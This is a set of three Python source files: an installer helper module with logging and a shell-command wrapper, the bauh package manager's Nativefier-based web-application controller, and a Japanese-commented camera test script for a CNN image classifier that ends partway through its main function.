import os import sys import distutils.spawn import time import subprocess from threading import Thread from tempfile import NamedTemporaryFile from unix_windows import IS_WIN # python 2/3 compatibility try: input = raw_input except NameError: pass def executable_exists(name): binary_path = distutils.spawn.find_executable(name) return binary_path is not None and os.access(binary_path, os.X_OK) debug_log = None def log_init(): global debug_log debug_log = NamedTemporaryFile(delete=False, mode="w") print("Logging to {}".format(debug_log.name)) def log_close(): debug_log.close() def fail(msg, fatal=False): log("Installation failed") log(msg) print(msg) print('') print('') if fatal: log("FATAL!") print("Installation failed with unexpected error - This should not have happened.") print("Please check logs at \"{}\". If you open a bug report, please include this file.".format(debug_log.name)) else: print("Installation failed!") debug_log.close() sys.exit(1) def log(msg): debug_log.write(msg) debug_log.write('\n') def printlog(msg): log(msg) print(msg) def section(title): printlog("\n{:=^50}".format(" {} ".format(title))) spinning = True def spinning_cursor_start(): global spinning spinning = True def spin_start(): time.sleep(0.1) while spinning: for cursor in '|/-\\': sys.stdout.write(cursor) sys.stdout.flush() time.sleep(0.1) sys.stdout.write('\b') Thread(target=spin_start).start() def spinning_cursor_stop(): global spinning spinning = False def user_input(items): log("User input:") for x, item in enumerate(items): printlog("{}) {}".format((x + 1), item[0])) while True: number = input("Select number {}-{}: ".format(1, len(items))) try: number = int(number) - 1 except ValueError: log("> User input {} - not a number".format(number)) continue if number >= 0 and number < len(items): log("> User input {} - ok: {}".format(number, items[number][1])) return items[number][1] else: log("> User input {} - out of range {} - {}".format(number, 1, len(items))) def shell(cmd): class Fail: def should_not_fail(self, msg=''): fail(msg, fatal=True) def success(self): return False def __str__(self): return "FAIL {}".format(self.exception) class Success: def should_not_fail(self, msg=''): pass def success(self): return True def __str__(self): return "OK" exit_code = Success() log("_" * 40) log("Shell: {}".format(cmd)) spinning_cursor_start() cli_output = '' try: cli_output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as e: exit_code = Fail() exit_code.exception = str(e) # python 2 compatibility try: cli_output = cli_output.decode("utf-8") except AttributeError: pass exit_code.cli_output = cli_output log(cli_output) log("Shell: Exit {}".format(str(exit_code))) log("-" * 40) log("") spinning_cursor_stop() time.sleep(0.5) sys.stdout.write(' \b') return exit_code
controller.py
import glob import locale import os import re import shutil import subprocess import traceback from pathlib import Path from threading import Thread from typing import List, Type, Set, Tuple import requests import yaml from colorama import Fore from requests import exceptions from bauh.api.abstract.context import ApplicationContext from bauh.api.abstract.controller import SoftwareManager, SearchResult from bauh.api.abstract.disk import DiskCacheLoader from bauh.api.abstract.handler import ProcessWatcher from bauh.api.abstract.model import SoftwarePackage, PackageAction, PackageSuggestion, PackageUpdate, PackageHistory, \ SuggestionPriority, PackageStatus from bauh.api.abstract.view import MessageType, MultipleSelectComponent, InputOption, SingleSelectComponent, \ SelectViewType, TextInputComponent, FormComponent, FileChooserComponent from bauh.api.constants import DESKTOP_ENTRIES_DIR from bauh.commons import resource from bauh.commons.html import bold from bauh.commons.system import ProcessHandler, get_dir_size, get_human_size_str from bauh.gems.web import INSTALLED_PATH, nativefier, DESKTOP_ENTRY_PATH_PATTERN, URL_FIX_PATTERN, ENV_PATH, UA_CHROME, \ SEARCH_INDEX_FILE, SUGGESTIONS_CACHE_FILE, ROOT_DIR from bauh.gems.web.config import read_config from bauh.gems.web.environment import EnvironmentUpdater, EnvironmentComponent from bauh.gems.web.model import WebApplication from bauh.gems.web.worker import SuggestionsDownloader, SearchIndexGenerator try: from bs4 import BeautifulSoup, SoupStrainer BS4_AVAILABLE = True except: BS4_AVAILABLE = False try: import lxml LXML_AVAILABLE = True except: LXML_AVAILABLE = False RE_PROTOCOL_STRIP = re.compile(r'[a-zA-Z]+://') RE_SEVERAL_SPACES = re.compile(r'\s+') RE_SYMBOLS_SPLIT = re.compile(r'[\-|_\s:.]') class WebApplicationManager(SoftwareManager): def __init__(self, context: ApplicationContext, suggestions_downloader: Thread = None): super(WebApplicationManager, self).__init__(context=context) self.http_client = context.http_client self.env_updater = EnvironmentUpdater(logger=context.logger, http_client=context.http_client, file_downloader=context.file_downloader, i18n=context.i18n) self.enabled = True self.i18n = context.i18n self.env_settings = {} self.logger = context.logger self.env_thread = None self.suggestions_downloader = suggestions_downloader self.suggestions = {} def _get_lang_header(self) -> str: try: system_locale = locale.getdefaultlocale() return system_locale[0] if system_locale else 'en_US' except: return 'en_US' def _get_app_name(self, url_no_protocol: str, soup: "BeautifulSoup") -> str: name_tag = soup.head.find('meta', attrs={'name': 'application-name'}) name = name_tag.get('content') if name_tag else None if not name: name_tag = soup.head.find('title') name = name_tag.text.strip() if name_tag else None if not name: name = url_no_protocol.split('.')[0].strip() if name: name_split = [token for token in RE_SYMBOLS_SPLIT.split(name) if token] if len(name_split) == 1: name = name_split[0].strip() else: name = url_no_protocol return name def _get_app_icon_url(self, url: str, soup: "BeautifulSoup") -> str: for rel in ('icon', 'ICON'): icon_tag = soup.head.find('link', attrs={"rel": rel}) icon_url = icon_tag.get('href') if icon_tag else None if icon_url and not icon_url.startswith('http'): if icon_url.startswith('//'): icon_url = 'https:{}'.format(icon_url) elif icon_url.startswith('/'): icon_url = url + icon_url else: icon_url = url + '/{}'.format(icon_url) if icon_url: return icon_url if not icon_url: icon_tag = soup.head.find('meta', attrs={"property": 'og:image'}) icon_url = icon_tag.get('content') if icon_tag else None if icon_url: return icon_url def _get_app_description(self, url: str, soup: "BeautifulSoup") -> str: description = None desc_tag = soup.head.find('meta', attrs={'name': 'description'}) if desc_tag: description = desc_tag.get('content') if not description: desc_tag = soup.find('title') description = desc_tag.text if desc_tag else url if description: try: utf8_desc = description.encode('iso-8859-1').decode('utf-8') description = utf8_desc except: pass return description def _get_fix_for(self, url_no_protocol: str) -> str: fix_url = URL_FIX_PATTERN.format(url=url_no_protocol) try: res = self.http_client.get(fix_url, session=False) if res: return res.text except Exception as e: self.logger.warning("Error when trying to retrieve a fix for {}: {}".format(fix_url, e.__class__.__name__)) def _strip_url_protocol(self, url: str) -> str: return RE_PROTOCOL_STRIP.split(url)[1].strip().lower() def serialize_to_disk(self, pkg: SoftwarePackage, icon_bytes: bytes, only_icon: bool): super(WebApplicationManager, self).serialize_to_disk(pkg=pkg, icon_bytes=None, only_icon=False) def _map_url(self, url: str) -> Tuple["BeautifulSoup", requests.Response]: headers = {'Accept-language': self._get_lang_header(), 'User-Agent': UA_CHROME} try: url_res = self.http_client.get(url, headers=headers, ignore_ssl=True, single_call=True, session=False) if url_res: return BeautifulSoup(url_res.text, 'lxml', parse_only=SoupStrainer('head')), url_res except exceptions.ConnectionError as e: self.logger.warning("Could not get {}: {}".format(url, e.__class__.__name__)) def search(self, words: str, disk_loader: DiskCacheLoader, limit: int = -1, is_url: bool = False) -> SearchResult: local_config = {} thread_config = Thread(target=self._fill_config_async, args=(local_config,)) thread_config.start() res = SearchResult([], [], 0) installed = self.read_installed(disk_loader=disk_loader, limit=limit).installed if is_url: url = words[0:-1] if words.endswith('/') else words url_no_protocol = self._strip_url_protocol(url) installed_matches = [app for app in installed if self._strip_url_protocol(app.url) == url_no_protocol] if installed_matches: res.installed.extend(installed_matches) else: soup_map = self._map_url(url) if soup_map: soup, response = soup_map[0], soup_map[1] final_url = response.url if final_url.endswith('/'): final_url = final_url[0:-1] name = self._get_app_name(url_no_protocol, soup) desc = self._get_app_description(final_url, soup) icon_url = self._get_app_icon_url(final_url, soup) app = WebApplication(url=final_url, name=name, description=desc, icon_url=icon_url) if self.env_settings.get('electron') and self.env_settings['electron'].get('version'): app.version = self.env_settings['electron']['version'] app.latest_version = app.version res.new = [app] else: lower_words = words.lower().strip() installed_matches = [app for app in installed if lower_words in app.name.lower()] index = self._read_search_index() if index: split_words = lower_words.split(' ') singleword = ''.join(lower_words) query_list = [*split_words, singleword] index_match_keys = set() for key in index: for query in query_list: if query in key: index_match_keys.update(index[key]) if not index_match_keys: self.logger.info("Query '{}' was not found in the suggestion's index".format(words)) res.installed.extend(installed_matches) else: if not os.path.exists(SUGGESTIONS_CACHE_FILE): # if the suggestions cache was not found, it will not be possible to retrieve the matched apps # so only the installed matches will be returned self.logger.warning("Suggestion cached file {} was not found".format(SUGGESTIONS_CACHE_FILE)) res.installed.extend(installed_matches) else: with open(SUGGESTIONS_CACHE_FILE) as f: cached_suggestions = yaml.safe_load(f.read()) if not cached_suggestions: # if no suggestion is found, it will not be possible to retrieve the matched apps # so only the installed matches will be returned self.logger.warning("No suggestion found in {}".format(SUGGESTIONS_CACHE_FILE)) res.installed.extend(installed_matches) else: matched_suggestions = [cached_suggestions[key] for key in index_match_keys if cached_suggestions.get(key)] if not matched_suggestions: self.logger.warning("No suggestion found for the search index keys: {}".format(index_match_keys)) res.installed.extend(installed_matches) else: matched_suggestions.sort(key=lambda s: s.get('priority', 0), reverse=True) if installed_matches: # checking if any of the installed matches is one of the matched suggestions for sug in matched_suggestions: found = [i for i in installed_matches if i.url == sug.get('url')] if found: res.installed.extend(found) else: res.new.append(self._map_suggestion(sug).package) else: for sug in matched_suggestions: res.new.append(self._map_suggestion(sug).package) res.total += len(res.installed) res.total += len(res.new) if res.new: thread_config.join() if local_config['environment']['electron']['version']: for app in res.new: app.version = str(local_config['environment']['electron']['version']) app.latest_version = app.version return res def _read_search_index(self) -> dict: if os.path.exists(SEARCH_INDEX_FILE): with open(SEARCH_INDEX_FILE) as f: return yaml.safe_load(f.read()) else: self.logger.warning("No search index found at {}".format(SEARCH_INDEX_FILE)) def read_installed(self, disk_loader: DiskCacheLoader, limit: int = -1, only_apps: bool = False, pkg_types: Set[Type[SoftwarePackage]] = None, internet_available: bool = True) -> SearchResult: res = SearchResult([], [], 0) if os.path.exists(INSTALLED_PATH): for data_path in glob.glob('{}/*/*data.yml'.format(INSTALLED_PATH)): with open(data_path, 'r') as f: res.installed.append(WebApplication(installed=True, **yaml.safe_load(f.read()))) res.total += 1 return res def downgrade(self, pkg: SoftwarePackage, root_password: str, handler: ProcessWatcher) -> bool: pass def update(self, pkg: SoftwarePackage, root_password: str, watcher: ProcessWatcher) -> bool: pass def uninstall(self, pkg: WebApplication, root_password: str, watcher: ProcessWatcher) -> bool: self.logger.info("Checking if {} installation directory {} exists".format(pkg.name, pkg.installation_dir)) if not os.path.exists(pkg.installation_dir): watcher.show_message(title=self.i18n['error'], body=self.i18n['web.uninstall.error.install_dir.not_found'].format(bold(pkg.installation_dir)), type_=MessageType.ERROR) return False self.logger.info("Removing {} installation directory {}".format(pkg.name, pkg.installation_dir)) try: shutil.rmtree(pkg.installation_dir) except: watcher.show_message(title=self.i18n['error'], body=self.i18n['web.uninstall.error.remove'].format(bold(pkg.installation_dir)), type_=MessageType.ERROR) traceback.print_exc() return False self.logger.info("Checking if {} desktop entry file {} exists".format(pkg.name, pkg.desktop_entry)) if os.path.exists(pkg.desktop_entry): try: os.remove(pkg.desktop_entry) except: watcher.show_message(title=self.i18n['error'], body=self.i18n['web.uninstall.error.remove'].format(bold(pkg.desktop_entry)), type_=MessageType.ERROR) traceback.print_exc() autostart_path = pkg.get_autostart_path() if os.path.exists(autostart_path): try: os.remove(autostart_path) except: watcher.show_message(title=self.i18n['error'], body=self.i18n['web.uninstall.error.remove'].format(bold(autostart_path)), type_=MessageType.WARNING) traceback.print_exc() config_path = pkg.get_config_dir() if config_path and os.path.exists(config_path): try: shutil.rmtree(config_path) except: watcher.show_message(title=self.i18n['error'], body=self.i18n['web.uninstall.error.remove'].format(bold(config_path)), type_=MessageType.WARNING) traceback.print_exc() return True def get_managed_types(self) -> Set[Type[SoftwarePackage]]: return {WebApplication} def get_info(self, pkg: WebApplication) -> dict: if pkg.installed: info = {'0{}_{}'.format(idx + 1, att): getattr(pkg, att) for idx, att in enumerate(('url', 'description', 'version', 'categories', 'installation_dir', 'desktop_entry'))} info['07_exec_file'] = pkg.get_exec_path() info['08_icon_path'] = pkg.get_disk_icon_path() if os.path.exists(pkg.installation_dir): info['09_size'] = get_human_size_str(get_dir_size(pkg.installation_dir)) config_dir = pkg.get_config_dir() if config_dir: info['10_config_dir'] = config_dir if info.get('04_categories'): info['04_categories'] = [self.i18n[c.lower()].capitalize() for c in info['04_categories']] return info else: return {'0{}_{}'.format(idx + 1, att): getattr(pkg, att) for idx, att in enumerate(('url', 'description', 'version', 'categories'))} def get_history(self, pkg: SoftwarePackage) -> PackageHistory: pass def _ask_install_options(self, app: WebApplication, watcher: ProcessWatcher) -> Tuple[bool, List[str]]: watcher.change_substatus(self.i18n['web.install.substatus.options']) inp_url = TextInputComponent(label=self.i18n['address'], value=app.url, read_only=True) inp_name = TextInputComponent(label=self.i18n['name'], value=app.name) inp_desc = TextInputComponent(label=self.i18n['description'], value=app.description) cat_ops = [InputOption(label=self.i18n['web.install.option.category.none'].capitalize(), value=0)] cat_ops.extend([InputOption(label=self.i18n[c.lower()].capitalize(), value=c) for c in self.context.default_categories]) def_cat = cat_ops[0] if app.categories: for opt in cat_ops: if opt.value == app.categories[0]: def_cat = opt break inp_cat = SingleSelectComponent(label=self.i18n['category'], type_=SelectViewType.COMBO, options=cat_ops, default_option=def_cat) tray_op_off = InputOption(id_='tray_off', label=self.i18n['web.install.option.tray.off.label'], value=0, tooltip=self.i18n['web.install.option.tray.off.tip']) tray_op_default = InputOption(id_='tray_def', label=self.i18n['web.install.option.tray.default.label'], value='--tray', tooltip=self.i18n['web.install.option.tray.default.tip']) tray_op_min = InputOption(id_='tray_min', label=self.i18n['web.install.option.tray.min.label'], value='--tray=start-in-tray', tooltip=self.i18n['web.install.option.tray.min.tip']) tray_opts = [tray_op_off, tray_op_default, tray_op_min] def_tray_opt = None if app.preset_options: for opt in tray_opts: if opt.id in app.preset_options: def_tray_opt = opt break inp_tray = SingleSelectComponent(type_=SelectViewType.COMBO, options=tray_opts, default_option=def_tray_opt, label=self.i18n['web.install.option.tray.label']) icon_op_ded = InputOption(id_='icon_ded', label=self.i18n['web.install.option.wicon.deducted.label'], value=0, tooltip=self.i18n['web.install.option.wicon.deducted.tip'].format('Nativefier')) icon_op_disp = InputOption(id_='icon_disp', label=self.i18n['web.install.option.wicon.displayed.label'], value=1, tooltip=self.i18n['web.install.option.wicon.displayed.tip']) inp_icon = SingleSelectComponent(type_=SelectViewType.COMBO, options=[icon_op_disp, icon_op_ded], default_option=icon_op_disp if app.icon_url and app.save_icon else icon_op_ded, label=self.i18n['web.install.option.wicon.label']) icon_chooser = FileChooserComponent(allowed_extensions={'png', 'svg', 'ico', 'jpg', 'jpeg'}, label=self.i18n['web.install.option.icon.label']) form_1 = FormComponent(components=[inp_url, inp_name, inp_desc, inp_cat, inp_icon, icon_chooser, inp_tray], label=self.i18n['web.install.options.basic'].capitalize()) op_single = InputOption(id_='single', label=self.i18n['web.install.option.single.label'], value="--single-instance", tooltip=self.i18n['web.install.option.single.tip']) op_max = InputOption(id_='max', label=self.i18n['web.install.option.max.label'], value="--maximize", tooltip=self.i18n['web.install.option.max.tip']) op_fs = InputOption(id_='fullscreen', label=self.i18n['web.install.option.fullscreen.label'], value="--full-screen", tooltip=self.i18n['web.install.option.fullscreen.tip']) op_nframe = InputOption(id_='no_frame', label=self.i18n['web.install.option.noframe.label'], value="--hide-window-frame", tooltip=self.i18n['web.install.option.noframe.tip']) op_allow_urls = InputOption(id_='allow_urls', label=self.i18n['web.install.option.allow_urls.label'], value='--internal-urls=.*', tooltip=self.i18n['web.install.option.allow_urls.tip']) op_ncache = InputOption(id_='no_cache', label=self.i18n['web.install.option.nocache.label'], value="--clear-cache", tooltip=self.i18n['web.install.option.nocache.tip']) op_insecure = InputOption(id_='insecure', label=self.i18n['web.install.option.insecure.label'], value="--insecure", tooltip=self.i18n['web.install.option.insecure.tip']) op_igcert = InputOption(id_='ignore_certs', label=self.i18n['web.install.option.ignore_certificate.label'], value="--ignore-certificate", tooltip=self.i18n['web.install.option.ignore_certificate.tip']) adv_opts = [op_single, op_allow_urls, op_max, op_fs, op_nframe, op_ncache, op_insecure, op_igcert] def_adv_opts = {op_single, op_allow_urls} if app.preset_options: for opt in adv_opts: if opt.id in app.preset_options: def_adv_opts.add(opt) check_options = MultipleSelectComponent(options=adv_opts, default_options=def_adv_opts, label=self.i18n['web.install.options.advanced'].capitalize()) res = watcher.request_confirmation(title=self.i18n['web.install.options_dialog.title'], body=None, components=[form_1, check_options], confirmation_label=self.i18n['continue'].capitalize(), deny_label=self.i18n['cancel'].capitalize()) if res: selected = [] if check_options.values: selected.extend(check_options.get_selected_values()) tray_mode = inp_tray.get_selected() if tray_mode is not None and tray_mode != 0: selected.append(tray_mode) custom_name = inp_name.get_value() if custom_name: app.name = custom_name custom_desc = inp_desc.get_value() if custom_desc: app.description = inp_desc.get_value() cat = inp_cat.get_selected() if cat != 0: app.categories = [cat] if icon_chooser.file_path: app.set_custom_icon(icon_chooser.file_path) selected.append('--icon={}'.format(icon_chooser.file_path)) app.save_icon = inp_icon.value == icon_op_disp return res, selected return False, [] def _gen_app_id(self, name: str) -> Tuple[str, str]: treated_name = RE_SYMBOLS_SPLIT.sub('-', name.lower().strip()) config_path = '{}/.config'.format(Path.home()) counter = 0 while True: app_id = '{}{}'.format(treated_name, '-{}'.format(counter) if counter else '') if not os.path.exists('{}/{}'.format(INSTALLED_PATH, app_id)): # checking if there is no config folder associated with the id if os.path.exists(config_path): if not glob.glob('{}/{}-nativefier-*'.format(config_path, app_id)): return app_id, treated_name counter += 1 def _gen_desktop_entry_path(self, app_id: str) -> str: base_id = app_id counter = 1 while True: desk_path = DESKTOP_ENTRY_PATH_PATTERN.format(name=base_id) if not os.path.exists(desk_path): return desk_path else: base_id = '{}_{}'.format(app_id, counter) counter += 1 def _ask_update_permission(self, to_update: List[EnvironmentComponent], watcher: ProcessWatcher) -> bool: icon = resource.get_path('img/web.png', ROOT_DIR) opts = [InputOption(label='{} ( {} )'.format(f.name, f.size or '?'), tooltip=f.url, icon_path=icon, read_only=True, value=f.name) for f in to_update] comps = MultipleSelectComponent(label=None, options=opts, default_options=set(opts)) return watcher.request_confirmation(title=self.i18n['web.install.env_update.title'], body=self.i18n['web.install.env_update.body'], components=[comps], confirmation_label=self.i18n['continue'].capitalize(), deny_label=self.i18n['cancel'].capitalize()) def _download_suggestion_icon(self, pkg: WebApplication, app_dir: str) -> Tuple[str, bytes]: try: if self.http_client.exists(pkg.icon_url, session=False): icon_path = '{}/{}'.format(app_dir, pkg.icon_url.split('/')[-1]) try: res = self.http_client.get(pkg.icon_url, session=False) if not res: self.logger.info('Could not download the icon {}'.format(pkg.icon_url)) else: return icon_path, res.content except: self.logger.error("An exception has happened when downloading {}".format(pkg.icon_url)) traceback.print_exc() else: self.logger.warning('Could no retrieve the icon {} defined for the suggestion {}'.format(pkg.icon_url, pkg.name)) except: self.logger.warning('An exception happened when trying to retrieve the icon {} for the suggestion {}'.format(pkg.icon_url, pkg.name)) traceback.print_exc() def install(self, pkg: WebApplication, root_password: str, watcher: ProcessWatcher) -> bool: continue_install, install_options = self._ask_install_options(pkg, watcher) if not continue_install: watcher.print("Installation aborted by the user") return False watcher.change_substatus(self.i18n['web.env.checking']) handler = ProcessHandler(watcher) env_settings = self.env_updater.read_settings() local_config = read_config() if local_config['environment']['system'] and not nativefier.is_available(): watcher.show_message(title=self.i18n['error'].capitalize(), body=self.i18n['web.install.global_nativefier.unavailable'].format(n=bold('Nativefier'), app=bold(pkg.name)) + '.', type_=MessageType.ERROR) return False env_components = self.env_updater.check_environment(app=pkg, local_config=local_config, env=env_settings, is_x86_x64_arch=self.context.is_system_x86_64()) comps_to_update = [c for c in env_components if c.update] if comps_to_update and not self._ask_update_permission(comps_to_update, watcher): return False if not self.env_updater.update(components=comps_to_update, handler=handler): watcher.show_message(title=self.i18n['error'], body=self.i18n['web.env.error'].format(bold(pkg.name)), type_=MessageType.ERROR) return False Path(INSTALLED_PATH).mkdir(parents=True, exist_ok=True) app_id, treated_name = self._gen_app_id(pkg.name) pkg.id = app_id app_dir = '{}/{}'.format(INSTALLED_PATH, app_id) watcher.change_substatus(self.i18n['web.install.substatus.checking_fixes']) fix = self._get_fix_for(url_no_protocol=self._strip_url_protocol(pkg.url)) fix_path = '{}/fix.js'.format(app_dir) if fix: # just adding the fix as an installation option. The file will be written later self.logger.info('Fix found for {}'.format(pkg.url)) watcher.print('Fix found for {}'.format(pkg.url)) install_options.append('--inject={}'.format(fix_path)) # if a custom icon is defined for an app suggestion: icon_path, icon_bytes = None, None if pkg.icon_url and pkg.save_icon and not {o for o in install_options if o.startswith('--icon')}: download = self._download_suggestion_icon(pkg, app_dir) if download and download[1]: icon_path, icon_bytes = download[0], download[1] pkg.custom_icon = icon_path # writting the icon in a temporary folder to be used by the nativefier process temp_icon_path = '/tmp/bauh/web/{}'.format(pkg.icon_url.split('/')[-1]) install_options.append('--icon={}'.format(temp_icon_path)) self.logger.info("Writting a temp suggestion icon at {}".format(temp_icon_path)) with open(temp_icon_path, 'wb+') as f: f.write(icon_bytes) watcher.change_substatus(self.i18n['web.install.substatus.call_nativefier'].format(bold('nativefier'))) electron_version = str(next((c for c in env_components if c.id == 'electron')).version) installed = handler.handle_simple(nativefier.install(url=pkg.url, name=app_id, output_dir=app_dir, electron_version=electron_version, system=bool(local_config['environment']['system']), cwd=INSTALLED_PATH, extra_options=install_options)) if not installed: msg = '{}.{}.'.format(self.i18n['wen.install.error'].format(bold(pkg.name)), self.i18n['web.install.nativefier.error.unknown'].format(bold(self.i18n['details'].capitalize()))) watcher.show_message(title=self.i18n['error'], body=msg, type_=MessageType.ERROR) return False inner_dir = os.listdir(app_dir) if not inner_dir: msg = '{}.{}.'.format(self.i18n['wen.install.error'].format(bold(pkg.name)), self.i18n['web.install.nativefier.error.inner_dir'].format(bold(app_dir))) watcher.show_message(title=self.i18n['error'], body=msg, type_=MessageType.ERROR) return False # bringing the inner app folder to the 'installed' folder level: inner_dir = '{}/{}'.format(app_dir, inner_dir[0]) temp_dir = '{}/tmp_{}'.format(INSTALLED_PATH, treated_name) os.rename(inner_dir, temp_dir) shutil.rmtree(app_dir) os.rename(temp_dir, app_dir) # injecting a fix if fix: self.logger.info('Writting JS fix at {}'.format(fix_path)) with open(fix_path, 'w+') as f: f.write(fix) # persisting the custom suggestion icon in the defitive directory if icon_bytes: self.logger.info("Writting the final custom suggestion icon at {}".format(icon_path)) with open(icon_path, 'wb+') as f: f.write(icon_bytes) pkg.installation_dir = app_dir version_path = '{}/version'.format(app_dir) if os.path.exists(version_path): with open(version_path, 'r') as f: pkg.version = f.read().strip() pkg.latest_version = pkg.version watcher.change_substatus(self.i18n['web.install.substatus.shortcut']) desktop_entry_path = self._gen_desktop_entry_path(app_id) entry_content = self._gen_desktop_entry_content(pkg) Path(DESKTOP_ENTRIES_DIR).mkdir(parents=True, exist_ok=True) with open(desktop_entry_path, 'w+') as f: f.write(entry_content) pkg.desktop_entry = desktop_entry_path if '--tray=start-in-tray' in install_options: autostart_dir = '{}/.config/autostart'.format(Path.home()) Path(autostart_dir).mkdir(parents=True, exist_ok=True) with open(pkg.get_autostart_path(), 'w+') as f: f.write(entry_content) if install_options: pkg.options_set = install_options return True def _gen_desktop_entry_content(self, pkg: WebApplication) -> str: return """ [Desktop Entry] Type=Application Name={name} ( web ) Comment={desc} Icon={icon} Exec={exec_path} {categories} """.format(name=pkg.name, exec_path=pkg.get_exec_path(), desc=pkg.description or pkg.url, icon=pkg.get_disk_icon_path(), categories='Categories={}'.format(';'.join(pkg.categories)) if pkg.categories else '') def is_enabled(self) -> bool: return self.enabled def set_enabled(self, enabled: bool): self.enabled = enabled def can_work(self) -> bool: if BS4_AVAILABLE and LXML_AVAILABLE: config = read_config(update_file=True) use_system_env = config['environment']['system'] if not use_system_env: return True return nativefier.is_available() return False def requires_root(self, action: str, pkg: SoftwarePackage): return False def _update_env_settings(self): self.env_settings = self.env_updater.read_settings() def _download_suggestions(self): downloader = SuggestionsDownloader(logger=self.logger, http_client=self.http_client) self.suggestions = downloader.download() if self.suggestions: index_gen = SearchIndexGenerator(logger=self.logger) Thread(target=index_gen.generate_index, args=(self.suggestions,), daemon=True).start() def prepare(self): self.env_thread = Thread(target=self._update_env_settings, daemon=True) self.env_thread.start() self.suggestions_downloader = Thread(target=self._download_suggestions, daemon=True) self.suggestions_downloader.start() def list_updates(self, internet_available: bool) -> List[PackageUpdate]: pass def list_warnings(self, internet_available: bool) -> List[str]: pass def _fill_suggestion(self, app: WebApplication): soup_map = self._map_url(app.url) if soup_map: soup, res = soup_map[0], soup_map[1] app.url = res.url if app.url.endswith('/'): app.url = app.url[0:-1] if not app.name: app.name = self._get_app_name(app.url, soup) if not app.description: app.description = self._get_app_description(app.url, soup) find_url = not app.icon_url or (app.icon_url and not self.http_client.exists(app.icon_url, session=False)) if find_url: app.icon_url = self._get_app_icon_url(app.url, soup) app.status = PackageStatus.READY def _map_suggestion(self, suggestion: dict) -> PackageSuggestion: app = WebApplication(name=suggestion.get('name'), url=suggestion.get('url'), icon_url=suggestion.get('icon_url'), categories=[suggestion['category']] if suggestion.get('category') else None, preset_options=suggestion.get('options'), save_icon=suggestion.get('save_icon', False)) app.set_version(suggestion.get('version')) description = suggestion.get('description') if isinstance(description, dict): app.description = description.get(self.i18n.current_key, description.get(self.i18n.default_key)) elif isinstance(description, str): app.description = description if not app.version and self.env_settings and self.env_settings.get('electron'): app.version = self.env_settings['electron']['version'] app.latest_version = app.version app.status = PackageStatus.LOADING_DATA Thread(target=self._fill_suggestion, args=(app,), daemon=True).start() return PackageSuggestion(priority=SuggestionPriority(suggestion['priority']), package=app) def _fill_config_async(self, output: dict): output.update(read_config()) def list_suggestions(self, limit: int, filter_installed: bool) -> List[PackageSuggestion]: local_config = {} thread_config = Thread(target=self._fill_config_async, args=(local_config,)) thread_config.start() if self.suggestions: suggestions = self.suggestions elif self.suggestions_downloader: self.suggestions_downloader.join(5) suggestions = self.suggestions else: suggestions = SuggestionsDownloader(logger=self.logger, http_client=self.http_client).download() # cleaning memory self.suggestions_downloader = None self.suggestions = None if suggestions: suggestion_list = list(suggestions.values()) suggestion_list.sort(key=lambda s: s.get('priority', 0), reverse=True) if filter_installed: installed = {self._strip_url_protocol(i.url) for i in self.read_installed(disk_loader=None).installed} else: installed = None res = [] for s in suggestion_list: if limit <= 0 or len(res) < limit: if installed: surl = self._strip_url_protocol(s['url']) if surl in installed: continue res.append(self._map_suggestion(s)) else: break if res: if not self.env_settings and self.env_thread: self.env_thread.join() self.env_thread = None # cleaning memory if self.env_settings: for s in res: s.package.version = self.env_settings['electron']['version'] s.package.latest_version = s.package.version thread_config.join() if local_config and local_config['environment']['electron']['version']: for s in res: s.package.version = str(local_config['environment']['electron']['version']) s.package.latest_version = s.package.version return res def execute_custom_action(self, action: PackageAction, pkg: SoftwarePackage, root_password: str, watcher: ProcessWatcher) -> bool: pass def is_default_enabled(self) -> bool: return True def launch(self, pkg: WebApplication): subprocess.Popen(pkg.get_exec_path()) def get_screenshots(self, pkg: SoftwarePackage) -> List[str]: pass def clear_data(self): if os.path.exists(ENV_PATH): print('[bauh][web] Deleting directory {}'.format(ENV_PATH)) try: shutil.rmtree(ENV_PATH) print('{}[bauh][web] Directory {} deleted{}'.format(Fore.YELLOW, ENV_PATH, Fore.RESET)) except: print('{}[bauh][web] An exception has happened when deleting {}{}'.format(Fore.RED, ENV_PATH, Fore.RESET)) traceback.print_exc()
model_test.py
# coding: utf-8 # アーム動作 import os _FILE_DIR=os.path.abspath(os.path.dirname(__file__)) import time import logging import threading import sys sys.path.append(_FILE_DIR+'/..') from lib import AI, SaveConfig from lib import SPI import cv2 import math import numpy as np # ログ設定 logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] time:%(created).8f pid:%(process)d pn:%(processName)-10s tid:%(thread)d tn:%(threadName)-10s fn:%(funcName)-10s %(message)s', ) n_classes = 7 # [その他][ラベル1][ラベル2][ラベル3][ラベル4][ラベル5][ラベル6] class_max_read = 100000 # 特定のクラスだけが特別に多くのバリエーションがあることを制限する。多くのデータがある状態なら制限の必要はない image_width = 160 image_height = 120 image_depth = 3 image_bytes = image_width*image_height*image_depth # data_cols = image_bytes TEST_DATA_DIR=_FILE_DIR+"/../CNN/test_data2" ######################################## # ステータス ######################################## MAIN_THREAD_RUN = True FORCE_STOP_THREAD_RUN = True ######################################## # 停止ボタンの値を取得し続ける関数 ######################################## def do_force_stop_button(): global FORCE_STOP_THREAD_RUN global MAIN_THREAD_RUN # 停止ボタン準備 A0 = 0 # SPI PIN STOP_BUTTON_SPI_PIN = A0 spi = SPI() while FORCE_STOP_THREAD_RUN: data = spi.readadc(STOP_BUTTON_SPI_PIN) if data >= 1000: # 停止ボタンが押された MAIN_THREAD_RUN = False FORCE_STOP_THREAD_RUN = False break time.sleep(0.1) return ######################################## # ラベル番号をone_hot_valueに変換する ######################################## def toONEHOT(int_label): one_hot_value = np.zeros((1,n_classes)) one_hot_value[np.arange(1),np.array([int_label])] = 1 return one_hot_value ''' メイン処理を行う部分 ''' def main(): global MAIN_THREAD_RUN global FORCE_STOP_THREAD_RUN # AI準備 ai = AI() score = 0.95 # スコア閾値 ######################################## # 結果保存 ######################################## # filename: PREFIX_SCORE_NUMBER.png # 0番目のラベルしかカメラに映さない前提とすると、 # label=0,score=False: 不正解を全て保存する # label=0,score=True: 不正解を全て保存し、正解であってもスコア未満は保存する # label=None,score=False: 全ての結果を保存する # label=None,score=True: 全ての結果のうち、スコア未満のみ保存する # saveConfig = SaveConfig(prefix='capture',label=0,save=True,score=True) # 正解であってもスコア未満は保存する saveConfig = SaveConfig(prefix='fail',label=None,save=False,score=False) ai.set_save_config(saveConfig) # WebCam準備 try: ai.init_webcam() except: import traceback traceback.print_exc() # WebCamの準備に失敗 FORCE_STOP_THREAD_RUN = False sys.exit(0) finally: pass 